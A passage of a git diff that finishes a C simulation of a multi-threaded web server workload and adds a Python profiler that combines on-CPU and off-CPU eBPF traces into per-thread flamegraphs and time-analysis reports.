op_type) { + if (op_type % 4 == 0) { + // TCP socket creation and connection attempt + int sockfd = socket(AF_INET, SOCK_STREAM, 0); + if (sockfd >= 0) { + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(80); + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Local connection + + // Non-blocking socket for controlled timing + fcntl(sockfd, F_SETFL, O_NONBLOCK); + connect(sockfd, (struct sockaddr*)&addr, sizeof(addr)); // Will likely fail + + // Use poll to wait + struct pollfd pfd = {sockfd, POLLOUT, 0}; + poll(&pfd, 1, 10 + (request_id % 50)); // 10-60ms timeout + + close(sockfd); + } + } else if (op_type % 4 == 1) { + // UDP socket operations + int sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd >= 0) { + char buffer[1024]; + snprintf(buffer, sizeof(buffer), "Request %d data", request_id); + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(12345); + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + + sendto(sockfd, buffer, strlen(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)); + + // Try to receive (will block briefly) + struct pollfd pfd = {sockfd, POLLIN, 0}; + poll(&pfd, 1, 5 + (request_id % 20)); // 5-25ms timeout + + close(sockfd); + } + } else { + // Pipe operations for blocking + char buffer[256]; + snprintf(buffer, sizeof(buffer), "data_%d", request_id); + + // Write to pipe (might block if full) + write(blocking_pipe[1], buffer, strlen(buffer)); + + // Read from pipe (blocking operation) + char read_buf[256]; + struct pollfd pfd = {blocking_pipe[0], POLLIN, 0}; + if (poll(&pfd, 1, 1 + (request_id % 10)) > 0) { // 1-11ms timeout + read(blocking_pipe[0], read_buf, sizeof(read_buf)); + } + } + + __sync_fetch_and_add(&network_requests, 1); +} + +// Blocking I/O: Poll/select operations +void simulate_poll_wait(int request_id) { + // Create multiple file descriptors + int fds[3]; + fds[0] = eventfd(0, EFD_NONBLOCK); + fds[1] = blocking_pipe[0]; + fds[2] = open("/dev/null", O_RDONLY); + + struct pollfd pollfds[3]; + for (int i = 0; i < 3; i++) { + pollfds[i].fd = fds[i]; + pollfds[i].events = POLLIN; + pollfds[i].revents = 0; + } + + // Poll with timeout - real blocking syscall + int timeout = 20 + (request_id % 80); // 20-100ms + int result = poll(pollfds, 3, timeout); + + if (result > 0) { + // Process any ready file descriptors + for (int i = 0; i < 3; i++) { + if (pollfds[i].revents & POLLIN) { + char dummy[256]; + read(pollfds[i].fd, dummy, sizeof(dummy)); + } + } + } + + // Cleanup + if (fds[0] >= 0) close(fds[0]); + if (fds[2] >= 0) close(fds[2]); + + __sync_fetch_and_add(&poll_wait_requests, 1); +} + +// Worker thread function +void* worker_thread(void* arg) { + int thread_id = *(int*)arg; + char thread_name[32]; + snprintf(thread_name, sizeof(thread_name), "worker-%d", thread_id); + pthread_setname_np(pthread_self(), thread_name); + + printf("🔧 Worker thread %d started\n", thread_id); + + while (running) { + request_t req; + if (dequeue_request(&req) < 0) break; + + struct timespec start, end; + get_timestamp(&start); + + // Process based on request type + switch (req.request_type) { + case 0: // CPU-intensive math + simulate_cpu_math_work(req.request_id, 2 + rand() % 4); + __sync_fetch_and_add(&cpu_math_requests, 1); + break; + case 1: // CPU-intensive string processing + simulate_cpu_string_work(req.request_id, 1 + rand() % 3); + __sync_fetch_and_add(&cpu_string_requests, 1); + break; + case 2: // CPU-intensive sorting + simulate_cpu_sort_work(req.request_id, 1 + rand() % 2); + __sync_fetch_and_add(&cpu_sort_requests, 1); + break; + case 3: // File I/O + case 4: // File I/O + case 5: + simulate_file_io(req.request_id); + break; + case 6: // Network operations + case 7: + case 8: + simulate_network_operation(req.request_id, req.request_id); + break; + case 9: // Poll/wait operations + case 10: + case 11: + simulate_poll_wait(req.request_id); + break; + } + + get_timestamp(&end); + long processing_time = time_diff_us(&req.arrival_time, &end); + + __sync_fetch_and_add(&total_requests_processed, 1); + + if (req.request_id % 500 == 0) { + printf("📊 Worker %d processed request %d (type %d) in %ld μs\n", + thread_id, req.request_id, req.request_type, processing_time); + } + } + + printf("🔧 Worker thread %d finished\n", thread_id); + return NULL; +} + +// Request generator thread +void* request_generator(void* arg) { + pthread_setname_np(pthread_self(), "req-generator"); + printf("📈 Request generator started\n"); + + int request_id = 0; + while (running) { + request_t req; + req.request_id = request_id++; + req.request_type = rand() % 12; // 6 different request types + get_timestamp(&req.arrival_time); + + if (enqueue_request(&req) < 0) { + // Queue full, use nanosleep for backpressure + struct timespec ts = {0, 1000000}; // 1ms + // nanosleep(&ts, NULL); + continue; + } + + __sync_fetch_and_add(&total_requests_generated, 1); + + // Variable request rate using nanosleep + struct timespec delay = {0, (500000 + rand() % 2000000)}; // 0.5-2.5ms + // nanosleep(&delay, NULL); + } + + printf("📈 Request generator finished\n"); + return NULL; +} + +// Statistics thread +void* stats_thread(void* arg) { + pthread_setname_np(pthread_self(), "stats-monitor"); + printf("📊 Statistics monitor started\n"); + + while (running) { + sleep(5); // Real sleep syscall + printf("\n=== Statistics ===\n"); + printf("Generated: %ld, Processed: %ld, Queue: %d\n", + total_requests_generated, total_requests_processed, queue_size); + printf("Math: %ld, String: %ld, Sort: %ld\n", + cpu_math_requests, cpu_string_requests, cpu_sort_requests); + printf("File I/O: %ld, Network: %ld, Poll: %ld\n", + file_io_requests, network_requests, poll_wait_requests); + printf("=================\n\n"); + } + + printf("📊 Statistics monitor finished\n"); + return NULL; +} + +int main() { + printf("🚀 Multi-threaded Web Server Simulation Starting...\n"); + printf("Configuration:\n"); + printf(" - PID: %d\n", getpid()); + printf(" - Worker threads: %d\n", NUM_WORKER_THREADS); + printf(" - Simulation duration: %d seconds\n", SIMULATION_DURATION); + printf(" - Request types: Math CPU, String CPU, Sort CPU, File I/O, Network, Poll\n\n"); + + // Setup signal handling + signal(SIGINT, signal_handler); + signal(SIGTERM, signal_handler); + + srand(time(NULL)); + + // Initialize blocking mechanisms + if (pipe(blocking_pipe) < 0) { + perror("pipe"); + exit(1); + } + + // Make pipe non-blocking for controlled behavior + fcntl(blocking_pipe[0], F_SETFL, O_NONBLOCK); + fcntl(blocking_pipe[1], F_SETFL, O_NONBLOCK); + + // Create threads + pthread_t threads[NUM_WORKER_THREADS + 2]; // +2 for generator and stats + int thread_ids[NUM_WORKER_THREADS]; + + // Start request generator + pthread_create(&threads[0], NULL, request_generator, NULL); + + // Start statistics monitor + pthread_create(&threads[1], NULL, stats_thread, NULL); + + // Start worker threads + for (int i = 0; i < NUM_WORKER_THREADS; i++) { + thread_ids[i] = i; + pthread_create(&threads[i + 2], NULL, worker_thread, &thread_ids[i]); + } + + printf("✅ All threads started. Running for %d seconds...\n", SIMULATION_DURATION); + printf(" Press Ctrl+C to stop early\n\n"); + + // Run for specified duration + sleep(SIMULATION_DURATION); + + // Shutdown + printf("\n🛑 Simulation time completed, initiating shutdown...\n"); + running = 0; + + // Wake up any waiting threads + pthread_cond_broadcast(&queue_cond); + + // Wait for all threads to finish + for (int i = 0; i < NUM_WORKER_THREADS + 2; i++) { + pthread_join(threads[i], NULL); + } + + // Cleanup + close(blocking_pipe[0]); + close(blocking_pipe[1]); + + // Final statistics + printf("\n"); + printf("==================================================\n"); + printf("FINAL STATISTICS\n"); + printf("==================================================\n"); + printf("Total requests generated: %ld\n", total_requests_generated); + printf("Total requests processed: %ld\n", total_requests_processed); + printf("Request breakdown:\n"); + printf(" - Math CPU ops: %ld\n", cpu_math_requests); + printf(" - String CPU ops: %ld\n", cpu_string_requests); + printf(" - Sort CPU ops: %ld\n", cpu_sort_requests); + printf(" - File I/O ops: %ld\n", file_io_requests); + printf(" - Network ops: %ld\n", network_requests); + printf(" - Poll/wait ops: %ld\n", poll_wait_requests); + printf("==================================================\n"); + + printf("✅ Web server simulation completed successfully!\n"); + return 0; +} \ No newline at end of file diff --git a/src/32-wallclock-profiler/wallclock_profiler.py b/src/32-wallclock-profiler/wallclock_profiler.py new file mode 100755 index 00000000..dcf843f3 --- /dev/null +++ b/src/32-wallclock-profiler/wallclock_profiler.py @@ -0,0 +1,919 @@ +#!/usr/bin/env python3 +""" +Combined On-CPU and Off-CPU Profiler + +This script runs both 'oncputime' and 'offcputime' tools simultaneously to capture +both on-CPU and off-CPU activity for a given process, then combines the results +into a unified flamegraph. + +Usage: + python3 wallclock_profiler.py [OPTIONS] +""" + +import argparse +import subprocess +import sys +import os +import threading +import time +import tempfile +from pathlib import Path +from collections import defaultdict + +class CombinedProfiler: + def __init__(self, pid, duration=30, freq=49, min_block_us=1000): + self.pid = pid + self.duration = duration + self.freq = freq + self.min_block_us = min_block_us + self.profile_output = [] + self.offcpu_output = [] + self.profile_error = None + self.offcpu_error = None + + # Find tool paths + self.script_dir = Path(__file__).absolute().parent + self.oncpu_tool = self.script_dir / "oncputime" + self.offcpu_tool = self.script_dir / "offcputime" + + # Check if tools exist + if not self.oncpu_tool.exists(): + raise FileNotFoundError(f"Oncputime tool not found at {self.oncpu_tool}") + if not self.offcpu_tool.exists(): + raise FileNotFoundError(f"Offcputime tool not found at {self.offcpu_tool}") + + def discover_threads(self): + """Discover threads and determine if multi-threaded""" + try: + result = subprocess.run( + ["ps", "-T", "-p", str(self.pid)], + capture_output=True, text=True + ) + + if result.returncode != 0: + return False, [] + + lines = result.stdout.strip().split('\n')[1:] # Skip header + threads = [] + for line in lines: + parts = line.split() + if len(parts) >= 4: + pid, tid, tty, time_str, *cmd_parts = parts + tid = int(tid) + cmd = ' '.join(cmd_parts) + threads.append((tid, cmd)) + + return len(threads) > 1, threads + + except Exception: + return False, [] + + def run_oncpu_tool(self): + """Run the oncputime tool in a separate thread""" + try: + cmd = [ + str(self.oncpu_tool), + # "./profiler oncputime", + "-p", str(self.pid), + "-F", str(self.freq), + "-f", # Folded output format + str(self.duration) + ] + + print(f"Running: {' '.join(cmd)}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=self.duration + 10) + + if result.returncode != 0: + self.profile_error = f"Oncputime tool failed: {result.stderr}" + return + + self.profile_output = result.stdout.strip().split('\n') if result.stdout.strip() else [] + + except subprocess.TimeoutExpired: + self.profile_error = "Oncputime tool timed out" + except Exception as e: + self.profile_error = f"Oncputime tool error: {str(e)}" + + def run_offcpu_tool(self): + """Run the offcputime tool in a separate thread""" + try: + cmd = [ + str(self.offcpu_tool), + # "./profiler offcputime", + "-p", str(self.pid), + "-m", str(self.min_block_us), + "-f", # Folded output format + str(self.duration) + ] + + print(f"Running: {' '.join(cmd)}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=self.duration + 10) + + if result.returncode != 0: + self.offcpu_error = f"Offcputime tool failed: {result.stderr}" + return + + self.offcpu_output = result.stdout.strip().split('\n') if result.stdout.strip() else [] + + except subprocess.TimeoutExpired: + self.offcpu_error = "Offcputime tool timed out" + except Exception as e: + self.offcpu_error = f"Offcputime tool error: {str(e)}" + + def run_profiling(self): + """Run both profiling tools simultaneously""" + # Check if multi-threaded first + is_multithread, threads = self.discover_threads() + + if is_multithread: + print(f"Multi-threaded application detected ({len(threads)} threads)") + print(f"Profiling each thread separately...") + self.profile_individual_threads(threads) + else: + print(f"Starting combined profiling for PID {self.pid} for {self.duration} seconds...") + + # Create threads for both tools + oncpu_thread = threading.Thread(target=self.run_oncpu_tool) + offcpu_thread = threading.Thread(target=self.run_offcpu_tool) + + # Start both threads + oncpu_thread.start() + offcpu_thread.start() + + # Wait for both to complete + oncpu_thread.join() + offcpu_thread.join() + + # Check for errors + if self.profile_error: + print(f"Oncpu tool error: {self.profile_error}", file=sys.stderr) + if self.offcpu_error: + print(f"Offcpu tool error: {self.offcpu_error}", file=sys.stderr) + + if self.profile_error and self.offcpu_error: + raise RuntimeError("Both profiling tools failed") + + def profile_individual_threads(self, threads): + """Profile each thread individually but simultaneously""" + self.thread_results = {} + + print(f"Starting simultaneous profiling of all {len(threads)} threads for {self.duration} seconds...") + + # Create profiling threads for parallel execution + profiling_threads = [] + thread_data = {} + + for tid, cmd in threads: + # Initialize result storage + thread_data[tid] = { + 'cmd': cmd, + 'oncpu_data': [], + 'offcpu_data': [], + 'oncpu_error': None, + 'offcpu_error': None + } + + # Create on-CPU profiling thread + oncpu_thread = threading.Thread( + target=self._profile_thread_oncpu_worker, + args=(tid, thread_data[tid]) + ) + profiling_threads.append(oncpu_thread) + + # Create off-CPU profiling thread + offcpu_thread = threading.Thread( + target=self._profile_thread_offcpu_worker, + args=(tid, thread_data[tid]) + ) + profiling_threads.append(offcpu_thread) + + # Start all profiling threads simultaneously + start_time = time.time() + for thread in profiling_threads: + thread.start() + + # Wait for all to complete + for thread in profiling_threads: + thread.join() + + end_time = time.time() + actual_duration = end_time - start_time + print(f"Profiling completed in {actual_duration:.1f} seconds") + + # Store results + self.thread_results = thread_data + + # Report any errors + for tid, data in thread_data.items(): + if data['oncpu_error']: + print(f"On-CPU profiling error for thread {tid}: {data['oncpu_error']}") + if data['offcpu_error']: + print(f"Off-CPU profiling error for thread {tid}: {data['offcpu_error']}") + + def _profile_thread_oncpu_worker(self, tid, thread_data): + """Worker function for on-CPU profiling of a specific thread""" + try: + cmd = [ + str(self.oncpu_tool), + "-L", str(tid), # Specific thread + "-F", str(self.freq), + "-f", # Folded output + str(self.duration) + ] + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=self.duration + 10) + + if result.returncode == 0 and result.stdout.strip(): + thread_data['oncpu_data'] = result.stdout.strip().split('\n') + else: + thread_data['oncpu_data'] = [] + if result.stderr: + thread_data['oncpu_error'] = result.stderr + + except Exception as e: + thread_data['oncpu_error'] = str(e) + thread_data['oncpu_data'] = [] + + def _profile_thread_offcpu_worker(self, tid, thread_data): + """Worker function for off-CPU profiling of a specific thread""" + try: + cmd = [ + str(self.offcpu_tool), + "-t", str(tid), # Specific thread + "-m", str(self.min_block_us), + "-f", # Folded output + str(self.duration) + ] + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=self.duration + 10) + + if result.returncode == 0 and result.stdout.strip(): + thread_data['offcpu_data'] = result.stdout.strip().split('\n') + else: + thread_data['offcpu_data'] = [] + if result.stderr: + thread_data['offcpu_error'] = result.stderr + + except Exception as e: + thread_data['offcpu_error'] = str(e) + thread_data['offcpu_data'] = [] + + def parse_folded_line(self, line): + """Parse a folded format line into stack trace and value""" + if not line.strip(): + return None, None + + parts = line.rsplit(' ', 1) + if len(parts) != 2: + return None, None + + stack_trace = parts[0] + try: + value = int(parts[1]) + return stack_trace, value + except ValueError: + return None, None + + def normalize_and_combine_stacks(self): + """Combine and normalize stack traces from both tools""" + oncpu_stacks = {} + offcpu_stacks = {} + + # Process on-CPU data (oncputime tool) + print(f"Processing {len(self.profile_output)} on-CPU stack traces...") + oncpu_total_samples = 0 + for line in self.profile_output: + stack, value = self.parse_folded_line(line) + if stack and value: + oncpu_total_samples += value + # remove the first part of the stack trace and add annotation + stack_parts = stack.split(";")[1:] + # Add _[c] annotation for CPU-intensive (on-CPU) stacks + annotated_stack = ";".join(stack_parts) + "_[c]" + oncpu_stacks[annotated_stack] = oncpu_stacks.get(annotated_stack, 0) + value + + # Process off-CPU data (offcputime tool) + print(f"Processing {len(self.offcpu_output)} off-CPU stack traces...") + offcpu_total_us = 0 + for line in self.offcpu_output: + stack, value = self.parse_folded_line(line) + if stack and value: + offcpu_total_us += value + # remove the first part of the stack trace and add annotation + stack_parts = stack.split(";")[1:] + # Add _[o] annotation for off-CPU (I/O/blocking) stacks + annotated_stack = ";".join(stack_parts) + "_[o]" + offcpu_stacks[annotated_stack] = offcpu_stacks.get(annotated_stack, 0) + value + + # Store counts for summary + self.oncpu_count = len(oncpu_stacks) + self.offcpu_count = len(offcpu_stacks) + + # Combine stacks with annotations + combined_stacks = {} + + # Add on-CPU stacks directly + for stack, value in oncpu_stacks.items(): + combined_stacks[stack] = combined_stacks.get(stack, 0) + value + + # Normalize and add off-CPU stacks + if offcpu_total_us > 0 and oncpu_total_samples > 0: + # Calculate normalization factor + # Assume each on-CPU sample represents 1/freq seconds of CPU time + avg_oncpu_sample_us = (1.0 / self.freq) * 1_000_000 # microseconds per sample + normalization_factor = avg_oncpu_sample_us # Use microseconds directly + + # Calculate expected vs actual samples + expected_samples = self.duration * self.freq + sample_rate = (oncpu_total_samples / expected_samples) * 100 if expected_samples > 0 else 0 + + print(f"On-CPU: {oncpu_total_samples} samples (expected: {expected_samples}, {sample_rate:.1f}% sampled)") + print(f"Off-CPU: {offcpu_total_us:,} μs ({offcpu_total_us/1_000_000:.2f} seconds)") + print(f"Normalization factor: {normalization_factor:.0f} μs/sample") + + # Add normalized off-CPU stacks + for stack, value in offcpu_stacks.items(): + # Convert microseconds to equivalent samples + normalized_value = int(value / normalization_factor) + if normalized_value > 0: # Only include if it results in at least 1 equivalent sample + combined_stacks[stack] = combined_stacks.get(stack, 0) + normalized_value + else: + # If no normalization needed, just add off-CPU stacks as-is + for stack, value in offcpu_stacks.items(): + combined_stacks[stack] = combined_stacks.get(stack, 0) + value + + return combined_stacks + + def setup_flamegraph_tools(self): + """Ensure FlameGraph tools are available and create custom color palette""" + flamegraph_dir = self.script_dir / "FlameGraph" + flamegraph_script = flamegraph_dir / "flamegraph.pl" + + if flamegraph_script.exists(): + # Create a custom flamegraph script with our color palette + custom_script = self.script_dir / "combined_flamegraph.pl" + self.create_custom_flamegraph_script(flamegraph_script, custom_script) + return custom_script + + print("FlameGraph tools not found, cloning repository...") + try: + result = subprocess.run([ + "git", "clone", + "https://github.com/brendangregg/FlameGraph.git", + str(flamegraph_dir), "--depth=1" + ], capture_output=True, text=True, cwd=self.script_dir) + + if result.returncode != 0: + print(f"Failed to clone FlameGraph: {result.stderr}") + return None + + if flamegraph_script.exists(): + # Make it executable (owner only for security) + os.chmod(flamegraph_script, 0o700) # rwx------ + print("FlameGraph tools cloned successfully") + # Create custom script + custom_script = self.script_dir / "combined_flamegraph.pl" + self.create_custom_flamegraph_script(flamegraph_script, custom_script) + return custom_script + else: + print("FlameGraph script not found after cloning") + return None + + except Exception as e: + print(f"Error setting up FlameGraph tools: {e}") + return None + + def create_custom_flamegraph_script(self, original_script, custom_script): + """Create a custom flamegraph script with our color palette""" + try: + with open(original_script, 'r') as f: + content = f.read() + + # Add our custom color palette for combined profiling + # Insert after the existing "chain" palette logic + custom_palette = ''' + if (defined $type and $type eq "combined") { + if ($name =~ m:_\\[c\\]$:) { # CPU annotation (on-CPU) + $type = "red"; + } elsif ($name =~ m:_\\[o\\]$:) { # off-CPU annotation (I/O/blocking) + $type = "blue"; + } else { # default + $type = "yellow"; + } + # fall-through to color palettes + }''' + + # Find the insertion point after the chain palette + insertion_point = content.find(' if (defined $type and $type eq "chain") {') + if insertion_point != -1: + # Find the end of the chain block + end_point = content.find('\t# color palettes', insertion_point) + if end_point != -1: + # Insert our custom palette before the color palettes section + content = content[:end_point] + custom_palette + '\n\n\t' + content[end_point:] + + with open(custom_script, 'w') as f: + f.write(content) + + # Make it executable (owner only for security) + os.chmod(custom_script, 0o700) # rwx------ + print("Custom flamegraph script created with combined color palette") + + except Exception as e: + print(f"Error creating custom flamegraph script: {e}") + # Fall back to original script + return original_script + + def generate_flamegraph_data(self, output_prefix=None): + """Generate combined flamegraph data and SVG""" + # Check if multi-threaded + is_multithread, threads = self.discover_threads() + + if is_multithread and hasattr(self, 'thread_results'): + return self.generate_multithread_flamegraphs(output_prefix) + else: + return self.generate_single_flamegraph(output_prefix) + + def generate_single_flamegraph(self, output_prefix): + """Generate single flamegraph for single-threaded or combined analysis""" + if output_prefix is None: + output_prefix = f"combined_profile_pid{self.pid}_{int(time.time())}" + + folded_file = f"{output_prefix}.folded" + svg_file = f"{output_prefix}.svg" + + combined_stacks = self.normalize_and_combine_stacks() + + if not combined_stacks: + print("No stack traces collected from either tool") + return None, None + + # Calculate time statistics for single thread case + single_thread_times = self.calculate_thread_times(self.profile_output, self.offcpu_output) + + # Sort by value for better visualization + sorted_stacks = sorted(combined_stacks.items(), key=lambda x: x[1], reverse=True) + + # Generate folded output + output_lines = [] + for stack, value in sorted_stacks: + output_lines.append(f"{stack} {value}") + + # Write folded data to file + try: + with open(folded_file, 'w') as f: + f.write('\n'.join(output_lines)) + print(f"Combined flamegraph data written to: {folded_file}") + except Exception as e: + print(f"Error writing folded data: {e}") + return None, None + + # Generate SVG flamegraph + svg_file = self.generate_svg_from_folded(folded_file, svg_file) + + # Generate time analysis file for single thread + self.generate_single_thread_analysis_file(output_prefix, single_thread_times) + + # Print summary + print(f"\nSummary:") + print(f"Total unique stack traces: {len(sorted_stacks)}") + oncpu_stacks = sum(1 for stack, _ in sorted_stacks if stack.endswith("_[c]")) + offcpu_stacks = sum(1 for stack, _ in sorted_stacks if stack.endswith("_[o]")) + print(f"On-CPU stack traces: {oncpu_stacks}") + print(f"Off-CPU stack traces: {offcpu_stacks}") + + # Print time verification + print(f"\nTime Analysis:") + print(f"On-CPU time: {single_thread_times['oncpu_time_sec']:.3f}s") + print(f"Off-CPU time: {single_thread_times['offcpu_time_sec']:.3f}s") + print(f"Total measured time: {single_thread_times['total_time_sec']:.3f}s") + print(f"Wall clock coverage: {single_thread_times['wall_clock_coverage_pct']:.1f}% of {self.duration}s profiling duration") + + return folded_file, svg_file + + def generate_multithread_flamegraphs(self, output_prefix): + """Generate separate flamegraphs for each thread""" + base_name = f"combined_profile_pid{self.pid}_{int(time.time())}" + output_dir = f"multithread_{base_name}" + os.makedirs(output_dir, exist_ok=True) + + print(f"Results will be saved to: {output_dir}/") + + generated_files = [] + total_threads_with_data = 0 + + for tid, thread_data in self.thread_results.items(): + cmd = thread_data['cmd'] + oncpu_data = thread_data['oncpu_data'] + offcpu_data = thread_data['offcpu_data'] + + # Skip threads with no data + if not oncpu_data and not offcpu_data: + continue + + total_threads_with_data += 1 + + # Determine thread role + role = self.get_thread_role(tid, cmd) + + # Generate combined folded file for this thread + folded_file = f"{output_dir}/thread_{tid}_{role}.folded" + + combined_stacks = self.combine_thread_stacks(oncpu_data, offcpu_data) + + if combined_stacks: + # Write folded data + with open(folded_file, 'w') as f: + for stack, value in sorted(combined_stacks.items(), key=lambda x: x[1], reverse=True): + f.write(f"{stack} {value}\n") + + # Generate SVG + svg_file = f"{output_dir}/thread_{tid}_{role}.svg" + svg_file = self.generate_svg_from_folded(folded_file, svg_file, f"Thread {tid} ({role})") + + # Generate individual thread analysis report + analysis_file = f"{output_dir}/thread_{tid}_{role}_analysis.txt" + self.generate_individual_thread_analysis(analysis_file, tid, thread_data, combined_stacks, role) + + generated_files.append((folded_file, svg_file)) + print(f"Generated: {folded_file} and {svg_file}") + + # Generate thread analysis + self.generate_thread_analysis_file(output_dir, base_name) + + print(f"\nGenerated {len(generated_files)} thread profiles with data out of {len(self.thread_results)} total threads") + + return generated_files[0] if generated_files else (None, None) + + def get_thread_role(self, tid, cmd): + """Get thread role based on TID and command""" + if tid == self.pid: + return "main" + elif "cuda" in cmd.lower() and "evthandlr" in cmd.lower(): + return "cuda-event" + elif "cuda" in cmd.lower(): + return "cuda-compute" + elif "eal-intr" in cmd.lower(): + return "dpdk-interrupt" + elif "rte_mp" in cmd.lower(): + return "dpdk-multiprocess" + elif "telemetry" in cmd.lower(): + return "telemetry" + else: + return cmd.lower().replace(' ', '_').replace('-', '_') + f"_{tid}" + + def combine_thread_stacks(self, oncpu_data, offcpu_data): + """Combine on-CPU and off-CPU data for a single thread""" + combined_stacks = {} + + # Process on-CPU data + for line in oncpu_data: + parts = line.rsplit(' ', 1) + if len(parts) == 2: + stack, count_str = parts + try: + count = int(count_str) + # Remove process name prefix and add CPU annotation + clean_stack = ';'.join(stack.split(';')[1:]) + '_[c]' + combined_stacks[clean_stack] = combined_stacks.get(clean_stack, 0) + count + except ValueError: + continue + + # Process off-CPU data with normalization + if offcpu_data: + norm_factor = (1.0 / self.freq) * 1_000_000 # microseconds per sample + for line in offcpu_data: + parts = line.rsplit(' ', 1) + if len(parts) == 2: + stack, time_str = parts + try: + time_us = int(time_str) + normalized_samples = max(1, int(time_us / norm_factor)) + # Remove process name prefix and add off-CPU annotation + clean_stack = ';'.join(stack.split(';')[1:]) + '_[o]' + combined_stacks[clean_stack] = combined_stacks.get(clean_stack, 0) + normalized_samples + except ValueError: + continue + + return combined_stacks + + def generate_svg_from_folded(self, folded_file, svg_file, title=None): + """Generate SVG flamegraph from folded file""" + flamegraph_script = self.setup_flamegraph_tools() + if flamegraph_script: + try: + cmd_args = [ + "perl", str(flamegraph_script), + "--colors", "combined", + folded_file + ] + + if title: + cmd_args.extend(["--title", title]) + else: + cmd_args.extend(["--title", "Combined On-CPU and Off-CPU Profile"]) + + result = subprocess.run(cmd_args, capture_output=True, text=True) + + if result.returncode == 0: + with open(svg_file, 'w') as f: + f.write(result.stdout) + return svg_file + else: + print(f"Error generating flamegraph {svg_file}: {result.stderr}") + return None + except Exception as e: + print(f"Error running flamegraph.pl: {e}") + return None + else: + print("FlameGraph tools not available, skipping SVG generation") + return None + + def generate_individual_thread_analysis(self, analysis_file, tid, thread_data, combined_stacks, role): + """Generate individual thread-level analysis report""" + time_stats = self.calculate_thread_times(thread_data['oncpu_data'], thread_data['offcpu_data']) + + # Count stack types + oncpu_stacks = sum(1 for stack in combined_stacks.keys() if stack.endswith('_[c]')) + offcpu_stacks = sum(1 for stack in combined_stacks.keys() if stack.endswith('_[o]')) + + with open(analysis_file, 'w') as f: + f.write("Thread-Level Analysis Report\n") + f.write("=" * 50 + "\n\n") + + f.write("Profiling Parameters:\n") + f.write(f"Duration: {self.duration} seconds\n") + f.write(f"Sampling frequency: {self.freq} Hz\n") + f.write(f"\n") + + f.write("Thread Information:\n") + f.write("-" * 40 + "\n") + f.write(f"Thread ID: {tid}\n") + f.write(f"Role: {role}\n") + f.write(f"Command: {thread_data['cmd']}\n") + f.write(f"\n") + + f.write("Time Analysis:\n") + f.write("-" * 40 + "\n") + oncpu_us = int(time_stats['oncpu_time_sec'] * 1_000_000) + f.write(f"On-CPU time: {time_stats['oncpu_time_sec']:.3f}s ({oncpu_us:,} μs)\n") + f.write(f"Off-CPU time: {time_stats['offcpu_time_sec']:.3f}s ({time_stats['offcpu_us']:,} μs)\n") + f.write(f"Total measured time: {time_stats['total_time_sec']:.3f}s\n") + f.write(f"Wall clock coverage: {time_stats['wall_clock_coverage_pct']:.3f}% of {self.duration}s actual process runtime\n") + f.write(f"\n") + + f.write("Stack Trace Summary:\n") + f.write("-" * 40 + "\n") + f.write(f"On-CPU stack traces: {oncpu_stacks}\n") + f.write(f"Off-CPU stack traces: {offcpu_stacks}\n") + f.write(f"Total unique stacks: {len(combined_stacks)}\n") + f.write(f"\n") + + f.write("Coverage Assessment:\n") + f.write("-" * 40 + "\n") + if time_stats['wall_clock_coverage_pct'] < 50: + f.write("⚠️ Low coverage - thread may be mostly idle or data collection incomplete\n") + elif time_stats['wall_clock_coverage_pct'] > 150: + f.write("⚠️ High coverage - possible overlap or measurement anomaly\n") + else: + f.write("✓ Coverage appears reasonable for active process\n") + f.write(f"\n") + + print(f"Generated thread analysis: {analysis_file}") + + def generate_thread_analysis_file(self, output_dir, base_name): + """Generate thread analysis summary file""" + summary_file = f"{output_dir}/{base_name}_thread_analysis.txt" + + # Calculate time statistics for all threads + total_process_oncpu_time = 0 + total_process_offcpu_time = 0 + thread_time_data = {} + + for tid, data in self.thread_results.items(): + time_stats = self.calculate_thread_times(data['oncpu_data'], data['offcpu_data']) + thread_time_data[tid] = time_stats + total_process_oncpu_time += time_stats['oncpu_time_sec'] + total_process_offcpu_time += time_stats['offcpu_time_sec'] + + total_process_time = total_process_oncpu_time + total_process_offcpu_time + + with open(summary_file, 'w') as f: + f.write("Multi-Thread Analysis Report\n") + f.write("="*50 + "\n\n") + f.write(f"Process ID: {self.pid}\n") + f.write(f"Total threads: {len(self.thread_results)}\n") + f.write(f"Profiling duration: {self.duration} seconds\n") + f.write(f"Sampling frequency: {self.freq} Hz\n\n") + + # Wall clock time analysis + f.write("Time Analysis Summary:\n") + f.write("-" * 40 + "\n") + f.write(f"Expected wall clock time: {self.duration:.1f} seconds\n") + f.write(f"Total measured on-CPU time: {total_process_oncpu_time:.3f} seconds\n") + f.write(f"Total measured off-CPU time: {total_process_offcpu_time:.3f} seconds\n") + f.write(f"Total measured time: {total_process_time:.3f} seconds\n") + + if self.duration > 0: + coverage_pct = (total_process_time / self.duration) * 100 + f.write(f"Wall clock coverage: {coverage_pct:.1f}% of expected duration\n") + + if coverage_pct < 50: + f.write("⚠️ Low coverage - threads may be mostly idle or data collection incomplete\n") + elif coverage_pct > 150: + f.write("⚠️ High coverage - possible overlap or measurement anomaly\n") + else: + f.write("✓ Coverage appears reasonable for active threads\n") + f.write("\n") + + f.write("Thread Details:\n") + f.write("-" * 40 + "\n") + for tid, data in self.thread_results.items(): + role = self.get_thread_role(tid, data['cmd']) + oncpu_count = len(data['oncpu_data']) + offcpu_count = len(data['offcpu_data']) + time_stats = thread_time_data[tid] + + f.write(f"TID {tid:8} ({role:15}): {data['cmd']}\n") + f.write(f" Events: on-CPU: {oncpu_count}, off-CPU: {offcpu_count}\n") + f.write(f" Times: on-CPU: {time_stats['oncpu_time_sec']:.3f}s, off-CPU: {time_stats['offcpu_time_sec']:.3f}s\n") + f.write(f" Total: {time_stats['total_time_sec']:.3f}s ({time_stats['wall_clock_coverage_pct']:.1f}% of wall clock)\n") + f.write(f" Samples: on-CPU: {time_stats['oncpu_samples']}, off-CPU: {time_stats['offcpu_us']:,} μs\n\n") + + f.write(f"Individual Analysis:\n") + f.write("-" * 40 + "\n") + f.write(f"Each thread has been profiled separately.\n") + f.write(f"Individual flamegraph files show per-thread behavior.\n") + f.write(f"Compare thread profiles to identify bottlenecks and parallelization opportunities.\n\n") + + f.write(f"Time Verification Notes:\n") + 